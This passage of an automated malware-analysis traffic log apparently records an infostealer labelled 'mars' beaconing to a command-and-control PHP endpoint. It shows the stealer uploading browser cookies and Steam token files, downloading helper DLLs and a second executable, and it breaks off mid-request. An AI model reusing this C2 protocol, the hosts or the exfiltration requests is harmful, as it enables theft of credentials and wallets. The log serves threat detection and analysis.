00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 04:04:11 GMTContent-Type: application/octet-streamContent-Length: 4411392Last-Modified: Sat, 23 Nov 2024 03:09:05 GMTConnection: keep-aliveETag: "67414751-435000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 70 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 c5 00 00 04 00 00 57 31 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 5d c5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 5d c5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 6e 6b 6f 75 77 79 6e 00 a0 1b 00 00 c0 a9 00 00 9e 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 79 79 62 69 6c 6d 73 00 10 00 00 00 60 c5 00 00 04 00 00 00 2a 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 c5 00 00 22 00 00 00 2e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJDAFIEHIEGDHIDGDGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 42 39 33 38 44 46 46 39 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 2d 2d 0d 0a Data Ascii: ------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="hwid"F2B938DFF9442409657292------DHJDAFIEHIEGDHIDGDGHContent-Disposition: form-data; name="build"mars------DHJDAFIEHIEGDHIDGDGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="message"browsers------HIJEGDBGDBFIJKECBAKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="message"plugins------DGHCBAAEHCFIDGDHJEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="message"fplugins------FCAEBFIJKEBGHIDHIEGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAKEHIEBKJJJJJKKKEGHost: 185.215.113.206Content-Length: 5787Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCBHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IDHDGDHJEGHIDGDHCGCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="file"------CAFIJKFHIJKKEBGCFBFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGCHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file"------EGIDAAFIEHIEHJKFHCAE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJKHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="message"wallets------HIIEGHJJDGHCAKEBGIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="message"files------HIIIECAAKECFHIECBKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 2d 2d 0d 0a Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file"------CBAFIDAECBGCBFHJEBGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="message"ybncbhylepme------HIIDGCGCBFBAKFHIJDBA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; 